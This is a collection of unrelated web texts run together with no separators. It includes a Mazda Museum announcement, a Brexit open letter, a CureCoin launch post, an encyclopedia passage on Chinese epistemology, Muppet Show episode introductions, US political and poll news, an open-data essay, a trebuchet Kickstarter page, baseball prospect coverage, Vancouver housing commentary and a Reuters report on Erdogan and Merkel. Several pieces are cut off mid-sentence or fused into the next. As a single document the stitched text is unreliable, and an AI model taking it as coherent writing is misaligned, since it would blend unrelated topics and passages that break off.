Mazda, our new Street View experience makes a visit possible without travelling to our headquarters in Japan. And once inside, they will get to know the Mazda spirit in a very intimate and real way."The Mazda Museum is located near company global headquarters in Hiroshima and first opened in May 1994. After a renovation project in 2005 which improved museum space, the museum has offered six different exhibition areas and a gift shop with Mazda memorabilia. The Mazda Museum is open only on week days, and offers guided group tours in Japanese and individual guided tours in Japanese and English. Reservations are required and can be made up to one year in advance via email at mazdamuseum@mail.mazda.co.jp or by telephone at +81 (0) 82-252-5050. Admission is free.*Google Maps with Street View enables the exploration of places around the world through 360-degree street-level imageryAn open letter to the world, from a UK Citizen.
Citizen Blocked Unblock Follow Following Jun 29, 2016
Dear World,
I fear a lot of you do not fully understand what we did last week.
If you want to know what happened, I will tell you.
I am writing this to hopefully provide some perspective for those living outside the UK and to show that, despite many reports, we are a peaceful and hopeful nation.
Last Thursday, my country voted by a simple majority in a national referendum to leave the central governing body of Europe named the European Union.
The European Union began — in a very different form from today and under a different name — about sixty years ago, to encourage peace and companionship across a war torn continent through the trade of industrial materials. A few countries tied their economies together, which would discourage them from continuing their long histories of bloody war.
A few years later, more countries joined, and formed a shifting block of free trade. Sometimes it was an economic area, sometimes an economic community…
Roll on another few years, and the union began to shift through the signing of more treaties. Many were controversial. Many member states took referendums on the development of the new union, and many voted against it. When these countries voted negatively, they were either ignored by the leaders of the union, or the public were given more referenda until their leaders received the answer needed to further the country’s (and the union’s) economic interests.
These treaties went so far as to dictate a set of laws that each trading country must abide by, superseding national parliaments. The pan-European laws embodied noble ideals, like free movement of goods, services, and people, and an overarching regulatory framework that meant everybody would peacefully abide by the same rules and would protect the citizens from poor working conditions and more viperous forms of consumerism.
Basically, from the old idea of peace through trade, came a super-national governing body intent on the furthering of its own peaceful and cooperative vision of Europe. This shift took place mainly through treaties of 1993 and 2009.
This governing body, as part of its interest in prosperity throughout Europe, also introduced a new cross-border currency, the Euro, and central bank, the European Central Bank — again in order to facilitate better trade and friendship between countries who used to slaughter each other for fun. The UK did not enter this currency, despite warnings that we would suffer.
Which brings us to where we are today.
It sounds like the dawning of a wonderful new world, doesn’t it? A central body, dedicated to peace and prosperity across an entire continent, gladly sharing its money and ideas, and where all citizens are accepted, everywhere.
Why would the UK vote to leave this wonderful organisation — especially when it is against our economic interest?
We must be mad, surely. Or stupid.
-
Citizen’s dislike for the European Union is labelled ‘Euro-scepticism’. Across the main body of Europe, Euro-scepticism has been polled on average at around 50–60%.
Why?
Let’s keep it light.
One of the laws in one of the treaties was to facilitate the free movement of people. I quite like this. Many people love this. Some people do not like this. OK. People who dislike ‘foreigners’ exist in every society, but in a democracy the electorate will usually outvote those whose hold racist or xenophobic views. I am no apologist for the darker elements of the human experience.
Remember that the UK did not sign up to the Euro, the European currency.
This has led to our Pound (GBP) being stronger than the continental Euro, meaning it is has more value across the world, making it more attractive.
We also speak English.
Most of the continent, if not the entire world, is taught the English language, for its cultural and monetary benefits. The English speaking world has, for better or worse, been the centre of finance for as long as anyone has been alive. There are competitors, but it is the anglosphere’s dominance for so long that has brought us here.
This puts us at a unique position within Europe. We are an attractive destination because we are ‘richer’ than Europe, many already speak our language, and — believe it or not — the vast majority of us are welcoming to those who wish to come to our country.
However, as usual, those who do not welcome our current level of immigration are the vocal ones. It is always those who want change that will shout the loudest, and rightly so. That’s how democracy is done. You make your voice heard, and a discussion can be had.
They were getting louder, and louder.
So one day our Prime Minister, David Cameron, having promised a referendum on our membership of the European Union, went to the European Union to explain our unique problem. He had to, because our immigration laws are set by the EU, and not by our parliament.
It must be noted here, that the free movement of people is causing rising and considerable tension in other countries, particularly France, Germany, Sweden, Austria and, regrettably, Greece. Anti-immigrant tension across the continent is reaching dangerous levels. Far-right and even neo-Nazi parties are growing in popularity at an alarming rate, and have infiltrated most governments across the continent.
The European Union, being a beacon of progress, will surely act to calm and protect its people.
In its wisdom, it will surely act for the better.
No, it will not, for its laws are enshrined in treaty. Its laws are immovable. Its laws are doctrine. Its laws are above those of its individual member states.
And herein lies the problem. This is the problem that has been at the heart of peaceful and democratic Euro-scepticism for fifty years. This is just a particularly pernicious example, and I regret that our opposition to the EU has unfolded as it has. It could so easily have been avoided.
David Cameron returned from days of negotiation with nothing to quell the social unrest in the UK. This is the point. It is not about appeasing the suspect motives of anti-immigration activists — it is about the fact that the law that is causing them to lash out cannot be changed by any means.
It is the same with competition law. It is the same with government funding of industry.
But surely, these laws are decided democratically, and for the good of a peaceful and prosperous Europe?
The European Parliament is a group of elected representatives from each of the twenty-eight member states, and they have the right to approve, reject, and/or amend laws as they are proposed by the commission.
Can the elected parliament propose laws?
No.
A citizen can petition — but only if a citizen petitions to a far greater degree than any citizen is capable can any motion be considered for discussion by a governing body bound by treaties signed before the information revolution, implementing a single vision dreamed of in a world alien to ours.
Here, let’s take a break.
Phew.
Aren’t these laws for the best? Don’t they benefit everyone?
Greece has been decimated. The EU’s enthusiasm to expand meant it ignored ‘financial irregularities’ when Greece joined the common currency. The 2008 crash and the ECB’s inflexible rules have led the country to ruin. It now has 50% youth unemployment, and has been stripped of state assets. Without immense charity, the country will fall into the hands of despots.
This charity is not forthcoming from its European brothers.
Why can no-one fix Greece?
Because both Greece and the ECB are bound by the treaties of the EU, which were implemented undemocratically, and which, as it turns out, are simply no good.
The same is happening in Spain, France, Italy, The Netherlands, Sweden…
The euro is failing and is in a debt crisis. The public are losing faith in the European project at an alarming rate, and the EU is too detached, undemocratic, and blindly faithful to the effectiveness of its treaties to change, adapt, and improve the lot of its citizens.
It is breeding hatred and poverty.
It has missed all of its goals, and it is exactly its rigid approach to achieving these goals that is leading to its downfall. But it will not listen to the people.
As a governing body, they are almost mad with power. Unelected and unaccountable, they continue with their vision.
Our referendum, then?
It was fought on bogus grounds, on both sides. Ignore them both. If people warmed to the destructive elements of the ‘Leave’ camp, it is because their voice was being echoed. The ‘Remain’ camp didn’t only fail to address these concerns, but it simply could not, because it had no argument, because the only organisation that could address these people’s concerns was miles away, in a big glass building, talking to banks and corporations about how to improve the lives of the people even further — perhaps by a free trade deal with America, TTIP, which would allow American corporations to sue EU member states’ governments if those governments did not act in the corporations’ interests.
The EU is government conducted in secret, with no mandate from the people, where the will of the people is only advisory, and with no accountability to the people.
And it is destroying people’s lives. Right now.
Yet the treaties and the directives and the agreements and the vision continue to bulldoze our continent.
My country was warned of economic hardship, though exaggeratedly so. The claims of the Remain campaign were as outlandish as the Leave campaign.
My fellow countrymen decided that we would rather have democracy than money. That we would rather disobey than submit. That we would rather have freedom than comfort. That we would rather rule ourselves than be ruled by a pseudo-Soviet pan-continental and expansionist organisation.
The main failing of the European Union is that it has failed to show us a better Europe.
Instead, it will go down its own road. For the European Union, the answer to too much EU is: more EU.
They are witch doctors. They are political quacks.
I have seen much media portraying the UK as a racist or backwards country.
We are not.
We wanted the chance to show the world that we can be tolerant and prosperous and giving and internationalist on our own. And we can do it better. We can do it so, so much better than we are being instructed to.
The EU is falling apart. You must see this. And it is the EU itself that is causing it. 52% of our population saw this, or something like this, when we voted last Thursday. It has been in our culture for years. It is not a new rise of hate or isolationism. It is the rise of a spirited internationalism. We want to lead the European continent out of its current quagmire.
If our democracy has hurt our banks, then our banks are not fit for purpose.
So please, view us kindly, world. We love you. We are reaching out, not cutting off. Do not believe entirely the mainstream perspectives you are hearing. They are not a half of the truth.
Yours faithfully,
A UK Citizen.cygnusxi
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Sr. MemberActivity: 397Merit: 251CureCoin Lead Dev [ANN] CureCoin to be released soon. May 07, 2013, 08:45:30 AM #1 CureCoin - Dedicated to finding cures, and paying you for your contributions.
Thanks to the support of many people, it is now time to launch CureCoin.
Copyright © 2013 CureCoin Team
CureCoin is going to be a research driven coin, benefiting both miners and researchers.
Basic benefits
Chance to find cures for cancer, Alzheimer's, Parkinson, and Huntington's, and hopefully more.
Eliminate the excessive need for high power mining by using some of that power to fold proteins.
A coin that is likely to hold value due to its benefits to society.
Nvidia owners will be able to focus on research, and get fairly rewarded. No more running stacks of gtx ti cards to only get ~200 mhash.
-No premine involved.
-Low transaction fee 0.01
-Easy to use client
-Launch site - to be decided.
-Project will be open source
-CureCoin will have multiple features (secret for now) to prevent pump and dump by early adopters.
-Scrypt Algo
-Launch site - to be decided. <<---- what does this mean? Source code and binaries might be getting released elsewhere. There is a possibility this coin will be first released on a university website.
For everyone who was been wanting to spend your electricity wiser while still mining for crypto, here it comes.
Many thanks to everyone who has been promoting and especially the ones who joined team "Cryptocoin Network". This team has been the inspiration to this project.
Check out our current stats and predicted ranks. Keep in mind this team is only a few days old, and we are competing against teams that have been folding since year 2000.
http://kakaostats.com/t.php?t=224497
Visit the team thread on the forum if you havent already.
https://bitcointalk.org/index.php?topic=193084.0
Thanks to the support of many people, it is now time to launch CureCoin.Copyright © 2013 CureCoin TeamCureCoin is going to be a research driven coin, benefiting both miners and researchers.Basic benefitsChance to find cures for cancer, Alzheimer's, Parkinson, and Huntington's, and hopefully more.Eliminate the excessive need for high power mining by using some of that power to fold proteins.A coin that is likely to hold value due to its benefits to society.Nvidia owners will be able to focus on research, and get fairly rewarded. No more running stacks of gtx ti cards to only get ~200 mhash.-No premine involved.-Low transaction fee 0.01-Easy to use client-Launch site - to be decided.-Project will be open source-CureCoin will have multiple features (secret for now) to prevent pump and dump by early adopters.-Scrypt Algo-Launch site - to be decided. < Fold Proteins, earn cryptos! CureCoin. https://bitcointalk.org/index.php?topic=603757 MergeFold with FoldingCoin https://bitcointalk.org/index.php?topic=781352.0First published Fri Sep 26, 2014; substantive revision Thu Apr 5, 2018
According to the prevailing traditional European epistemologies, knowledge has mainly been gained through observation and reasoning. However, in traditional Chinese thought, knowledge has been understood in a much broader sense, namely as something which also (or primarily) stems from moral contents and which cannot be separated from (social) practice. The method which determined most of the epistemological teachings found in the Chinese classics was based on a holistic world view, and was directed towards a comprehension which could be achieved through education and learning. The basic contents of these teachings were rooted in the premises of pragmatic and utilitarian ethics. Chinese epistemology was relational (Rošker 2012), meaning that it understood the external world to be ordered structurally, while the human mind was also structured in accordance with its all-embracing but open, organic system (li 理). The relational correspondence between the cosmic and mental structures thus represents the basic precondition of human perception and comprehension.
The epistemological dimensions of Chinese texts and their role in the context of Chinese thought has been developed increasingly successfully under the aegis of rediscovering and applying specific traditional Chinese methodological approaches and categories (Lenk and Paul 1993). The present entry similarly explores Chinese epistemology through the lens of conceptual and ideational assets created and developed in the Chinese tradition (Creller 2014: 196).
Chinese philosophy was developed on the basis of ontological, epistemological and metaphysical paradigms that differ from those of Western theoretical discourses. The concepts and categories used in Chinese philosophy cannot be easily transferred from one socio-cultural context into another, and it is often difficult to understand this philosophy through the lens of traditional Western thought. The exclusive application of Western methods can thus lead to severe misunderstandings and false interpretations of Chinese discourses. It is therefore important to use caution so as not to diminish the richness and depth of Chinese thought or turn it into a weak version of Western philosophical thought.
In classical Chinese philosophy the meaning of the Chinese word xin 心, which literally refers to the physical heart, is not limited to its common connotations. Unlike Western definitions, the Chinese metaphorical understanding of this notion not only denotes this organ as the center of emotions, but also as the center of perception, understanding, intuition and even rational thought. As ancient Chinese believed that the heart was the center of human cognition, the notion of xin is most commonly translated as “heart-mind” in philosophical discourses. This understanding was determined by the absence of the contrast between cognitive (representative ideas, reasoning, beliefs) and affective (sensation, feelings, desires, emotions) states.
In classical Chinese epistemologies, each person’s self-awareness was based upon a holistic understanding of the world, which was structured as an interactive relationship between humanity and nature (tianren heyi 天人合一). The unity of all cosmic beings was seen in terms of the organismic and dynamic wholeness of nature and society. Hence, self-awareness as the basis of any kind of comprehension originated with the awareness that one’s own being was organically embedded and interwoven with (rational) indeterminate, constitutive cosmic structures. The heart-mind which represents the crucial part of this self-awareness, is innately equipped with the basic structure of (moral) recognition.
The origins of this tradition are remote, and reach far back into pre-Qin intellectual history. The human heart-mind was not only posited as the seat of the concept of mind or consciousness and thus the source of both emotions and reasoning, but was also perceived as a kind of sense organ by the ancient Chinese. Indeed, Mengzi (372–289 BC) sometimes even views it as the principal sense organ, responsible for selecting and interpreting the sensations transmitted to it by other sense organs (Mengzi CTP: Gaozi |
she was only 15 when she did the show, she was only allowed to shoot a few hours each day. So when she wasn't shooting, she liked to hang around the Muppet Workshop and help build characters. In fact, there's one number in which she actually helped build the Slithy Toves characters. [clip] This particular sketch is described by Scooter in the show as the weirdest thing this show has ever done. And he may be right. [clip] Here it is, Brooke Shields in The Muppet Show.
Señor Wences
Episode 508: Señor Wences
Hi, I'm Brian Henson. This next episode of The Muppet Show features Señor Wences, a puppeteer and ventriloquist whose most famous character Johnny, was painted on his hand, like this: [hand gesture] "Hello!" [clip] In addition to his hand, Señor Wences's other characters included Cecilia, a puppet chicken, and Pedro, a ventriloquist dummy head -- that's right, just the head. [clip] Which proved that Señor Wences was sufficiently insane to work with the Muppets. [clip] There's even a second guest star Bruce Schwartz who's a great puppeteer, who performs a Japanese ghost story with beautiful Japanese puppets. [clip] Here is The Muppet Show starring Señor Wences and Bruce Schwartz.
Debbie Harry
Episode 509: Debbie Harry
Hi, I'm Brian Henson. This episode of The Muppet Show stars Debbie Harry. [clip] Now, at the time, I was in high school and my father knew that Debbie Harry was, like, the biggest thing in the world to me. And he booked her to be on The Muppet Show during a vacation week from school and he didn't tell me. [clip] We went out to dinner the night before shooting and they made me sit next to Debbie Harry at this fancy restaurant. And I just remember this whole dinner I was just endlessly sweating and all I knew was that I was aware of Debbie Harry sitting on the side of me. I don't think I ever said a word to her, I don't think I ever looked at her, but she did a great episode, she's a great performer and she's a lovely lady. And here she is Debbie Harry in The Muppet Show.
Paul Simon
Episode 511: Paul Simon
Hi, I'm Brian Henson. This is the only episode of The Muppet Show where every single song is written by one artist. And that artist is the show's guest star, Paul Simon. [clip] Paul's work is so full of great imagery, that it was perfect for the Muppets. For instance, the big production number that starts out the show, "Scarborough Fair," is done as an elaborate olde English fair filled with bears and pigs and frogs and ornate period costumes. [clip] This episode also features one of the more bizarre Muppet creations, Bobby Benson and his all baby band. [clip] Here it is, The Muppet Show starring Paul Simon.
Carol Burnett
Episode 515: Carol Burnett
Hi, I'm Brian Henson. This episode of The Muppet Show stars Carol Burnett. [clip] This particular episode was also a favorite of The Muppet Show writers because they won an Emmy for Best Writing on a Comedy Variety Show. [clip] You may wonder what was the sophisticated concept that won this Emmy award for them. Well, the idea was that everybody would be dancing from the very beginning of the show, to the very end, and the whole episode would be a dance marathon. [clip] Sounds like an incredibly stupid and easy idea [clip]... but put it all together and it makes for really one of the all-time great episodes of The Muppet Show.
Wally Boag
Episode 520: Wally Boag
Hi, I'm Brian Henson. The Muppet Show is a tribute to vaudeville, especially this episode featuring Wally Boag. [clip] Wally is listed in The Guinness World Record book for the most performances of one show. [clip] The show was Disneyland's "Golden Horseshoe Revue", and he performed five shows a day for twenty-seven years [clip] from the park's opening in 1955 until he retired in 1982. Most of the material you see Wally perform in this show comes right out of the "Golden Horseshoe Revue." It's one of the few recordings of Boag's material from the long-running show. [clip] Here it is. Enjoy the show.
Roger Moore
Episode 524: Roger MooreThe favorability of the Republican Party has dropped to its lowest level since Bloomberg began polling the question in 2009.
Only 32 percent of Americans view the GOP favorably, whereas 49 percent of Americans view the Democratic Party favorably, according to the Bloomberg Poll.
Among Republicans, 28 percent said they have unfavorable views toward the party, whereas 4 percent of Democrats felt unfavorably toward their party. The Bloomberg poll also found that one in three Republicans view Donald Trump unfavorably, while 17 percent of Democrats view Hillary Clinton unfavorably.
The poll appears to show the negative impact Trump’s impending nomination has had on the Republican Party. The same poll found that Clinton is leading Trump 49-37 percent nationwide among likely voters.
The poll, conducted by Selzer & Co., surveyed 1,000 adults nationally from June 10-13 with a margin of error of 3.1 percentage points.The open access movement is forcing publishers to take down paywalls, making publicly funded research available to the public for free. But beyond that a more important development is pacing in the wings - that of open data.
With open access the issue has been free access to the results of scientific work. However, by “results” researchers really mean published papers which, bluntly, are only what scientists write about after looking at their data. With the open data drive, advocates are saying that the actual raw data should be available too. Anyone could then pick over, explore and re-use the data. This shift represents a behavioural sea-change that will also fix some substantial threats to the integrity of science.
The benefits of open data are clear. First, just the knowledge that the raw data will be out there for other analysts to check may make researchers more responsible about their data. Second, there is vast potential in the re-use of data. Researchers sometimes invest large amount of resources in collecting data only to publish one slice of that before having to move on to new projects.
Sometimes they do not even have time to publish anything, or feel that their results are not good enough to publish - whether that be rooted in their belief about how “negative results” will be received by journals and their peers, or whether writing up something unexciting is just not worth it. About half the results presented at conferences are not published in journals, about half the projects funded by public money never produce any journal articles and negative results from clinical trials often get pushed under the rug.
This means that the “results” out there in the scientific literature are a warped representation of the data that has been collected. Add to this the sheer waste of developing a database then throwing it away once the tusk of a nice finding has been poached from it. If the primary researchers do not have the time to fairly represent everything they have collected, why not just put the data out there? Sharing the data is a fix to our current ills. Yet the data sits in hard drives of scientists around the world.
What’s the hold up?
Limited infrastructure was one excuse not to share such data. But even when some universities built data archives ready for a data deluge, scientists avoided using it. It is not that researchers disagree with idea of sharing data, but they have apprehensions about with putting raw data “out there”.
First, there will always be a better statistician than you somewhere in the world, who can simply take your analyses apart and do it better. That is uncomfortable. Worse, what if someone somewhere does a hatchet job and claims your data “shows” something it does not? What about legalities around patient privacy and consent, or discoveries from your data or patents? Finally, what is in it for an individual scientist or even a research group?
Scientists understand the need for sharing data openly, but they lack the incentive. Yet there may be a way forward by tapping into the concepts of database citations and “data papers”.
The reputation currency of a scientist is often measured by how many papers he or she has published and how many times those papers are cited by other scientists in their papers. While it is not a perfect metric, it is widely used by journals.
The idea then would be to apply such a metric to databases. Assign a unique identifier to a database that can be cited like papers. Thus credit is given to the authors of that database. Some new “data journals” are going a step further by inviting scientists to write citable data papers to complement those deposited databases. These papers detail everything needed to use the data without pestering the original authors.
As a researcher, the ideal scenario for me would be that I hand in my database to the funding body at the end of the project. They check that the data is good, nominate a repository and I write a data paper for the repository. Once that is done, I am granted a grace period to finish writing research papers before the raw data gets released to the outside world.
Only a few funding bodies have mandated sharing, but they are not enforcing it. Weak sticks and theoretical carrots will not be enough to drive scientists into this bold new territory. The culture of sharing raw data will only truly begin when researchers are forced to do so by funding bodies.Former U.S. Ambassador to the United Nations and surrogate for presidential hopeful former Gov. Mitt Romney (R-MA) John Bolton harshly criticized the Obama administration’s response to the violence in Benghazi, Libya earlier this month, calling the U.S. response “limp-wristed.”
The Bush appointee was speaking to Fox News on Friday when he used the homophobic insult, which, as Think Progress noted, is “usually used as a slur against or allusion to gay men” and to connote weakness.
“The US is viewed under Obama as weak, as Sen. McCain said, as declining in influence dramatically in the Middle East, pulling out of Iraq, intending to pull out of Aghanistan,” Bolton alleged, “having a limp wristed reaction to the assassination of four American diplomats.”
Bolton was joining a group of Republican Senators and other officials condemning the Obama administration for its foreign policy in the Middle East.
The former ambassador was appointed to the United Nations by way of a recess appointment in 2005. Because of his noted bellicosity on matters regarding Islamic nations, Democrats and moderate Republicans opposed his appointment to the ambassadorship.
Former Speaker of the House Rep. Nancy Pelosi called Bolton’s nomination “a mistake” that would harm the reputation of the U.S. in the world.
Bolton is a confrere of anti-Muslim blogger Pamela Gellar who recently posited that Cuba’s Castro regime is working hand-in-hand with Venezuela’s Hugo Chavez and Mahmoud Ahmadinejad of Iran to plan a terrorist attack against the U.S. using biological weapons.
He has been acting as a surrogate for the Romney campaign, hosting events and fundraisers since Bolton endorsed Romney for president in January of 2012.
Watch the clip, embedded via YouTube, below:
[image by Gage Skidmore via Flickr]Now that our Kickstarter project is over, Trebuchette kits are available from our website at www.siegetoys.com.
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Trebuchets are pretty awesome. We think everyone should have one. Here's your chance!
We've prototyped a full snap-together trebuchet kit that's perfect for kids and adults. They make a great classroom demonstration, learning toy, or addition to your office arsenal. With our laser-cut kits, anyone can assemble their own trebuchet in 10 minutes or less and start flinging superballs at unsuspecting quarry.
These little beauties stand about one foot tall in the ready-to-fire position (see below), and will throw a penny about 35 feet or a superball about 20 feet (maximum; for intra-cubicle battles, just use less counterweight).
We've put a lot of effort into the design, to get all of the tolerances *just* right so that the pieces snap together perfectly, so you don't have to wait for glue to dry. The extremely precise laser-cutting process is what lets us get the tolerances good enough to make this a snap-together kit, no glue required.
We'll be using the funds from this project to purchase a high-power precision laser cutter and other tools to make the trebuchet kits. The exact details of the starting material and the laser cut process are essential, so we can only make the kits for the price we want if we run the production ourselves. Read more about our costs here.
We've called this an "Open Hardware" project, and we're be good to that word! We've already published our trebuchet plans as a common.svg file. It's free for anyone to download for their own use under a Creative Commons Share Alike Non-Commercial Attribution license.
The Goods:
Trebuchet Kit: Comes with everything you need to get started slinging! With the trebuchet kit, you get all the laser-cut, snap-together, wooden pieces, 2 brass axles, a leather sling, 6 steel counterweights, and 2 superballs! Assembly time: only 10 minutes!
Stand-up Targets: These come with the Battle Pack or Super Pack! The Battle Pack comes with 6 targets, and the Super Pack comes with 12! These laser-cut castles are made of 1/8" Baltic birch plywood, and also snap together, just like the trebuchets! No glue required! Assembly time: about 10 seconds each!
Collector's Edition Trebuchet: Here are some closeups of one of our art patterns (this is the wood-grain pattern; we're also working on geometric-construction and scrollwork art patterns) for the collector's edition trebuchet. These come numbered and signed, and are fully functional, including the brass axles, leather sling, counterweights and superballs you need to get started!
Custom laser-engraved photo: Our most generous donors will receive a custom laser-engraved photograph of your choice. Once the Kickstarter project has successfully completed, we'll ask you to email us the photo that you want engraved, and we'll include the finished product in your reward, alongside your trebuchets!
Thank-you postcard: As soon as the Kickstarter project has successfully completed and we're set up, we'll be mailing thank-you postcards to everyone who donated $5 or more! These postcards will be laser-cut out of 1/8" Baltic birch plywood, stand about 3"x5", and are just gorgeous. (EVERYONE who donates $5 or more will get one of these, no matter which reward you pick!)
Finally, if you'd like more than one of any level, go ahead and pledge the correct amount for the combination of rewards you'd like, and send us an email or message to confirm. We're happy to make up any combination order, but we need to know what you want!White Sox top prospects have excelled during Spring Training. Can some of these prospects make their debuts on the south side this season?
It’s nearly a month into Chicago White Sox Spring Training and the prospects that have been the buzz surrounding the team have finally had their trial run. The highly rated prospects the Sox have in their farm systems, as well as the others acquired in offseason trades, have been the given the opportunity to showcase their talents and skills in the preseason and so far they’ve been as good as advertised.
While Spring Training is not a definite measuring stick of their talent in a real Major League situation, these young players have had a chance to play with everyday Major Leaguers and players on their own skill level. At the very least, the coaching staff got to see exactly what tools they’re dealing with for the next few years. Fortunately for the White Sox and their fans, the next few years look very bright.
As of Friday, the White Sox have sent all of their top six prospects (MLB Pipeline) to either minor league camp or their minor league teams, which is a part of the rebuilding process, but despite their starting spot for the 2017 season, the prospects showed some flashes of their publicized greatness during Spring Training.
Yoan Moncada
Going in order, the White Sox No. 1 prospect – and MLB Pipeline’s No. 2 overall prospect – Moncada did not have an overwhelming Spring Training but finished with a.317 batting average, 13 RBIs, 13 hits, of which eight were extra base hits which included three home runs. He actually hit his three home runs in his last four games of Spring Training, in which he went 7-for-11 with 7 RBIs and only one strikeout.
Moncada also played very well defensively at the hotly contested spot of second base. It took him a while to get going but Moncada definitely showed why the White Sox traded their former ace Chris Sale to the Red Sox for him. He showed off his power and his premier skills at the plate near the end of his Spring Training time and that’s a very good sign to see that he was just heating up. Moncada was sent to Triple-A Charlotte to start the season.
The Young Guns
The pitchers acquired in the Sale and Adam Eaton trades were the biggest haul of the offseason, in addition to Moncada. With their limited to no MLB experience, their performances would be one of the things to watch for during this preseason.
Again in order Lucas Giolito (Sox no. 2/MLB no.11), Michael Kopech (Sox no.3/MLB no.16), Reynaldo Lopez (Sox no. 4/MLB no. 46), Carson Fulmer (Sox no. 5/MLB no.71) and Zack Burdi (Sox no. 7/MLB N/A) all had either multiple outings or multiple starts. And while a few of these players had a much more productive Spring than others, each of these pitchers displayed what they will bring to the table in the future.
Giolito had four starts in Spring Training. He pitched two innings twice, three innings, four innings and 0.2 innings in those starts. This is more of a sample-sized workload but his performance was expected for a second-year, 22-year-old prospect. His last start was his worst one without a doubt. In 0.2 innings pitched, he allowed eight hits, five earned runs and walked two.
The big righty did however have a few promising flashes here and there in his limited workload. His best start was against Arizona where he threw four innings, allowed three hits and one earned run. Overall, his first Spring Training with his new team was a bit of a letdown. He was sent to Triple-A Charlotte.
Kopech had a similar Spring with only six innings pitched but at 20 years-old, the White Sox are definitely excited about Kopech. In his first start, he only went an inning and allowed four runs to the Cubs. He eventually settled down to throw two semi-decent Spring starts allowing only four hits and one run and striking out nine over five innings.
The exciting thing about Kopech is the hype surrounding his fastball and electric arm is very real. He hit over 100 MPH on the speed gun multiple times and he was able locate the strike zone more frequently. Kopech was sent to Minor League camp and he could start off the year in Single-A Winston-Salem.
Out of the new arrivals, Lopez had the best Spring Training. He had five starts that amounted for 19.1 innings and even though he started off his Sox career with a bit of a hiccup in his first Spring Training start (1.1 IP, 4 H, 5 ER), he was strong and in control the rest of the preseason.
ARI: 3.0 IP, 3 H, 1 ER, 3 SO
MIL: 4.1 IP, 1 H, 0 ER, 4 SO
KC: 4.2 IP, 3 H, 2 ER, 3 SO
SF: 6.0 IP, 2 H, 0 ER, 4 SO
Lopez’s 15 strikeouts,.197 opponent batting average, 19.1 innings pitched, 0.93 WHIP and 3.72 ERA were among the team’s best (among pitchers with 5 IP or more). He was also sent to Triple-A Charlotte.
Now one of the Sox guys – a player drafted by the White Sox – Fulmer performed around the same level that Giolito did, but with a much larger sample-size. Fulmer had four starts and one relief appearance and he was generally okay. He was at times a bit inconsistent in his performances but he kept the damage to a minimum. He pitched a total of 13 innings, gave up 15 hits, seven earned runs, no home runs, walked eight and struck out 10.
The Future’s Future
Another Sox draft pick Zack Collins also attended Spring Training for a brief period of time. The 10th overall pick in last year’s draft was invited to the White Sox Spring Training camp but Collins was a part of the first Spring Training cuts. He played in six games and had eight at-bats. He had three hits, one double, one RBI and drew two walks.
Burdi, who was also drafted in the 2016 MLB draft was one of the biggest surprises of the Spring. Burdi is the highest rated prospected still at Spring Training. The 22-year-old 2016 first round pick of the White Sox has been stellar this preseason. Like Lopez, he’s been among the leaders on the team in most of the major pitching statistics like innings pitched, opponent batting average, WHIP and K’s.
The former Louisville Cardinal has been utilized mostly in relief for an inning at a time and he’s been putting up zero after zero on the scoreboard. His worst outinghowever came on Saturday against the Indians. Burdi pitched was unable to complete an inning of work as he allowed four hits and four earned runs.
However, with rest of the pitching prospects that arrived in Chicago earlier this season, Burdi was not on the radar of many fans this Spring Training so his impressive performances are that much more unexpected and exciting.Vancouver Mayor Gregor Robertson’s office released a statement over the holidays boasting that 1,800 new units of rental housing were approved in 2016, “far exceeding past years.”
“City Hall is doing everything it can to get more rental housing built and to market as quickly as possible,” the statement said.
Some people in the business of building, buying or managing apartment buildings take this claim with a grain of salt (not that you can get any salt in Vancouver these days).
They point out that not all projects that are approved are built. And developers complain that it can take three years or more to build purpose-built rental housing, largely due to the city’s bureaucratic red tape.
David Goodman, a real estate agent who specializes in rental apartment building sales and development sites (and publishes the Goodman Report on the subject), disputed the city’s claim that 2016 was a banner year for rental housing. In fact, there were far more market rental apartment completions in the 1960s through the 1980s — peaking above 4,000 rental units in the 1970s, due in part to federal programs such as the Multiple Unit Residential Building (MURB) tax provision — than there are today. The MURB tax measure was eliminated in 1981.
“We are going to be having 35,000 people a year coming into the Lower Mainland and here the city is celebrating the approval of 1,800 units. It’s actually disgraceful,” he told CKNW Radio’s Jon Meyer.
By way of comparison, in the time Vancouver approved 1,800 units, Seattle signed off on 14,000 units. Goodman estimates the city should be aiming for 5,000 units a year.
The economics of purpose-built rental buildings are challenging. Vancouver’s cap rate, the measure commonly used to estimate return on investment (roughly the annual net income divided by property value), is notoriously low, in a range of 2.5 per cent to four per cent. There are investment products offering better returns without the headache of maintenance and repairs. Indeed, in an opinion piece last month, financial advisor Larry Jacobson told apartment building investors to sell.
Given poor returns on top of the demands and delays from City Hall, it’s no wonder many developers choose to build elsewhere.
Rather than boasting about its meagre results in expanding rental accommodation, the city might look to reviewing its policies, streamlining the approvals process, lowering fees, ensuring serviced land is available and working more cooperatively with builders to get projects done in months rather than years. With the price of homes beyond the means of so many, the city needs to shift focus from its ideological agenda to the practical matter of housing its residents.
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Is there more to this story? We’d like to hear from you about this or any other stories you think we should know about. Emailvantips@postmedia.com.BERLIN (Reuters) - Turkish Prime Minister Tayyip Erdogan urged Angela Merkel to throw Germany’s full weight behind his country’s bid to join the European Union but there was no sign the chancellor had been swayed from her skeptical stance on Turkish membership.
German Chancellor Angela Merkel and Turkey's Prime Minister Tayyip Erdogan address the media after talks in Berlin February 4, 2014. REUTERS/Tobias Schwarz
In a visit to Berlin overshadowed by EU concerns about his crackdown on the judiciary and police whom he accuses of forming part of a “parallel state”, Erdogan complained that German support was “not currently adequate”.
“We want to see more. I would like to remind you that the population of Turks in Germany alone is greater than the population of many European countries,” he told the German Council on Foreign Relations before meeting Merkel.
Erdogan has purged thousands of police and sought tighter control of the courts since a corruption inquiry burst into the open in December, a scandal he has cast as an attempted “judicial coup” meant to undermine him ahead of elections.
In combination with his crackdown on last year’s protests in Istanbul’s Taksim Square, Erdogan’s response has reinforced the view in Berlin and Brussels that Turkey’s fragile democracy may not yet be ready for EU membership.
“I personally said that we are in a negotiation process that has certain outcome and no fixed time frame,” Merkel told a news conference after their talks.
“It is no secret and nothing has changed in my view that I am skeptical about full membership for Turkey,” Merkel said, adding that this should not prevent the talks from going ahead.
Erdogan did appear to have won a concession from Merkel on the unblocking of two crucial chapters in accession talks: Chapter 23 that deals with judiciary and fundamental rights and 24 on justice, freedom and security.
“I am in favor of unblocking 23 and 24,” said Merkel.
The European Commissioner in charge of enlargement, Stefan Fuele, has argued that opening up these chapters would be an effective way of tackling Turkey’s poor human rights record.
Erdogan capped his day in Berlin with a spirited campaign rally in front of a capacity crowd of 4,000 cheering, flag-waving Turkish immigrants while another 3,000 watched on video screens set up outside. German TV broadcast his speech.
